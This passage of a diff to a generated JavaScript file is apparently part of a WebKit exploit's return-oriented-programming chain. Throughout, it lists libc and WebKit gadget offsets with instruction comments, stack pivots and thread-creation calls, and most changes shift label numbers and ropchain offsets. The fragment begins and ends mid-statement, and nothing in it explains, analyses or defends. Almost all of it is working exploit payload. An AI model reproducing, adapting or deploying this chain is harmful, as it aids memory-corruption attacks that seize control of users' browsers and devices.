0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3636: +//L3600: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3601: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+225424, //L3639 +ropchain+224312, //L3605 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+225408, //L3638 +ropchain+224296, //L3603 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3638: +//L3603: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3639: +//L3605: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+225512, //L3641 +ropchain+224400, //L3606 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+225528, //L3642 +ropchain+224416, //L3608 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L3641: +//L3606: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3642: +//L3608: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+225584, //L3644 +ropchain+224472, //L3609 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3644: +//L3609: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx @@ -27117,55 +26942,55 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+225688, //L3647 +ropchain+224560, //L3611 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3645: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3647: +//L3611: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3612: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+225792, //L3650 +ropchain+224680, //L3616 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+225776, //L3649 +ropchain+224664, //L3614 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3649: +//L3614: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3650: +//L3616: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+225936, //L3653 +ropchain+224824, //L3619 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+225904, //L3651 +ropchain+224792, //L3617 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+225920, //L3652 +ropchain+224808, //L3618 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3651: +//L3617: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3652: +//L3618: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3653: +//L3619: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -27173,8 +26998,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3654: -ropchain+199296, //_use_thread +//L3620: +ropchain+198832, //_use_thread libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -27183,7 +27008,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3655: +//L3621: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -27192,14 +27017,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+226128, //L3657 +ropchain+225016, //L3623 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3656: +//L3622: db([4294966272, 4294967295]); // -0x400 set_gadget(libc_base+788575,); //pop rax -//L3657: +//L3623: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -27210,8 +27035,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3659: -ropchain+226240, //L3658 +//L3625: +ropchain+225128, //L3624 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -27219,8 +27044,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+147688, //_pthread_create__rop -//L3658: +ropchain+147648, //_pthread_create__rop +//L3624: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -27228,55 +27053,55 @@ db([4294967264, 4294967295]); // -0x20 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+226328, //L3662 +ropchain+225200, //L3626 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3660: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3662: +//L3626: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3627: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+226432, //L3665 +ropchain+225320, //L3631 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+226416, //L3664 +ropchain+225304, //L3629 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3664: +//L3629: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3665: +//L3631: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+226576, //L3668 +ropchain+225464, //L3634 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+226544, //L3666 +ropchain+225432, //L3632 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+226560, //L3667 +ropchain+225448, //L3633 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3666: +//L3632: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3667: +//L3633: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3668: +//L3634: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -27284,8 +27109,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3669: -ropchain+213016, //_free_thread +//L3635: +ropchain+212552, //_free_thread libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -27294,7 +27119,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L3670: +//L3636: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -27303,14 +27128,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+226768, //L3672 +ropchain+225656, //L3638 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L3671: +//L3637: db([4294966272, 4294967295]); // -0x400 set_gadget(libc_base+788575,); //pop rax -//L3672: +//L3638: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -27320,22 +27145,22 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+226848, //L3673 +ropchain+225736, //L3639 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3673: +//L3639: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+226904, //L3676 +ropchain+225792, //L3641 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3676: +//L3641: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -27344,32 +27169,32 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+226984, //L3678 +ropchain+225872, //L3644 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3678: +//L3644: db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L3677: -db([128, 0]); // 0x80 set_gadget(libc_base+792472,); //pop rcx -//L3679: +//L3643: db([4, 0]); // 0x4 +set_gadget(libc_base+788575,); //pop rax +//L3645: +db([128, 0]); // 0x80 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+227088, //L3680 +ropchain+225976, //L3646 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+227104, //L3681 +ropchain+225992, //L3647 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3680: +//L3646: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3681: +//L3647: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -27380,22 +27205,22 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+227192, //L3682 +ropchain+226080, //L3648 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3682: +//L3648: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+227248, //L3685 +ropchain+226136, //L3650 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3685: +//L3650: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -27408,8 +27233,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3687: -ropchain+227376, //L3686 +//L3653: +ropchain+226264, //L3652 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -27417,134 +27242,134 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+147688, //_pthread_create__rop -//L3686: +ropchain+147648, //_pthread_create__rop +//L3652: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); db([4294967264, 4294967295]); // -0x20 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -//L3688: +//L3654: libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3689: -db([4294966268, 4294967295]); // -0x404 -set_gadget(libc_base+792472,); //pop rcx -//L3691: +//L3655: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3656: +db([4294966268, 4294967295]); // -0x404 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+227504, //L3693 +ropchain+226392, //L3659 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3692: +//L3658: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3693: +//L3659: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+227560, //L3696 +ropchain+226448, //L3661 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3696: +//L3661: db([0, 0]); // 0x0 -//L3694: +//L3660: set_gadgets([ libc_base+793877, //pop rsi -ropchain+227624, //L3699 +ropchain+226496, //L3663 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3697: -db([4294966268, 4294967295]); // -0x404 -set_gadget(libc_base+792472,); //pop rcx -//L3699: +//L3663: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3664: +db([4294966268, 4294967295]); // -0x404 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+227728, //L3702 +ropchain+226616, //L3668 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+227712, //L3701 +ropchain+226600, //L3666 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3701: +//L3666: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3702: +//L3668: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+227896, //L3705 +ropchain+226784, //L3671 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+227912, //L3706 +ropchain+226800, //L3672 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+227864, //L3703 +ropchain+226768, //L3669 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+227880, //L3704 +ropchain+226752, //L3670 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3703: +//L3670: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3704: +//L3669: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3705: +//L3671: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3706: +//L3672: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+227984, //L3707 +ropchain+226872, //L3673 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+228000, //L3708 +ropchain+226888, //L3674 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3707: +//L3673: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3708: +//L3674: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+228096, //L3710 +ropchain+226984, //L3676 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+228080, //L3709 +ropchain+226968, //L3675 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3709: +//L3675: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3710: +//L3676: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -27553,39 +27378,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+228176, //L3712 +ropchain+227064, //L3677 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3712: +//L3677: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3711: +//L3678: db([32, 0]); // 0x20 set_gadget(libc_base+206806,); //pop rdi -//L3713: +//L3679: db([32, 0]); // 0x20 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+228312, //L3714 +ropchain+227200, //L3680 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+228344, //L3716 +ropchain+227232, //L3682 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+228328, //L3715 +ropchain+227216, //L3681 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3714: +//L3680: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3715: +//L3681: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3716: +//L3682: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -27598,78 +27423,78 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+48555, //setl al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+228512, //L3718 +ropchain+227400, //L3684 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+228528, //L3719 +ropchain+227416, //L3685 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+228496, //L3717 +ropchain+227384, //L3683 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3717: +//L3683: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3718: +//L3684: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3719: +//L3685: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+228632, //L3722 +ropchain+227520, //L3688 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+228680, //L3724 +ropchain+227568, //L3690 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+228664, //L3723 +ropchain+227552, //L3689 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3722: +//L3688: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L3721: +//L3687: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3723: +//L3689: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3724: +//L3690: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+228792, //L3725+8 +ropchain+227680, //L3691+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+228784, //L3725 +ropchain+227672, //L3691 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L3725: +//L3691: db([0, 0]); // 0x0 set_gadgets([ -ropchain+228808, //L3725+24 -ropchain+228824, //L3720 +ropchain+227696, //L3691+24 +ropchain+227712, //L3686 libc_base+811575, //pop rsp -ropchain+228840, //L3726 -//L3720: +ropchain+227728, //L3692 +//L3686: libc_base+811575, //pop rsp -ropchain+231728, //L3727 -//L3726: +ropchain+230616, //L3693 +//L3692: libc_base+788575 //pop rax ]); -//L3728: +//L3694: db([65, 0]); // 0x41 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -27677,119 +27502,119 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+228944, //L3731 +ropchain+227816, //L3695 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3729: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3731: +//L3695: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3696: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+229048, //L3734 +ropchain+227936, //L3700 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+229032, //L3733 +ropchain+227920, //L3698 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3733: +//L3698: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3734: +//L3700: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+229168, //L3736 +ropchain+228040, //L3701 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+229200, //L3738 +ropchain+228088, //L3704 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+229184, //L3737 +ropchain+228072, //L3703 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3735: -db([24, 0]); // 0x18 -set_gadget(libc_base+792472,); //pop rcx -//L3736: +//L3701: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3702: +db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L3737: +//L3703: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3738: +//L3704: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+229304, //L3741 +ropchain+228192, //L3707 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+229288, //L3740 +ropchain+228176, //L3705 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3740: +//L3705: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3741: +//L3707: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+229448, //L3744 +ropchain+228336, //L3710 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+229416, //L3742 +ropchain+228304, //L3708 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+229432, //L3743 +ropchain+228320, //L3709 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3742: +//L3708: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3743: +//L3709: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3744: +//L3710: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+229520, //L3745 +ropchain+228408, //L3711 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3745: +//L3711: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+229576, //L3748 +ropchain+228464, //L3713 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3748: +//L3713: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -27797,102 +27622,102 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+229672, //L3751 +ropchain+228544, //L3715 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3749: -db([4294966268, 4294967295]); // -0x404 -set_gadget(libc_base+792472,); //pop rcx -//L3751: +//L3715: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3716: +db([4294966268, 4294967295]); // -0x404 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+229776, //L3754 +ropchain+228664, //L3720 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+229760, //L3753 +ropchain+228648, //L3718 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3753: +//L3718: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3754: +//L3720: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+229944, //L3757 +ropchain+228832, //L3723 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+229960, //L3758 +ropchain+228848, //L3724 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+229912, //L3755 +ropchain+228816, //L3721 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+229928, //L3756 +ropchain+228800, //L3722 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3755: +//L3722: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3756: +//L3721: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3757: +//L3723: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3758: +//L3724: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+230120, //L3762 +ropchain+229008, //L3728 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+230072, //L3759 +ropchain+228960, //L3726 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+230104, //L3761 +ropchain+228992, //L3727 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3759: +//L3726: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3760: +//L3725: db([4, 0]); // 0x4 set_gadget(libc_base+206806,); //pop rdi -//L3761: +//L3727: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3762: +//L3728: db([0, 0]); // 0x0 set_gadgets([ webkit_base+1506828, //imul rax, rcx libc_base+793877, //pop rsi -ropchain+230192, //L3763 +ropchain+229080, //L3729 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+230208, //L3764 +ropchain+229096, //L3730 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3763: +//L3729: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3764: +//L3730: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -27903,106 +27728,106 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+230296, //L3765 +ropchain+229184, //L3731 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3765: +//L3731: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+230352, //L3768 +ropchain+229240, //L3733 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3768: +//L3733: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+230488, //L3770 +ropchain+229376, //L3736 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+230504, //L3771 +ropchain+229392, //L3737 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+230472, //L3769 +ropchain+229360, //L3735 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L3769: +//L3735: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3770: +//L3736: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3771: +//L3737: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+230672, //L3774 +ropchain+229560, //L3740 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+230688, //L3775 +ropchain+229576, //L3741 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, 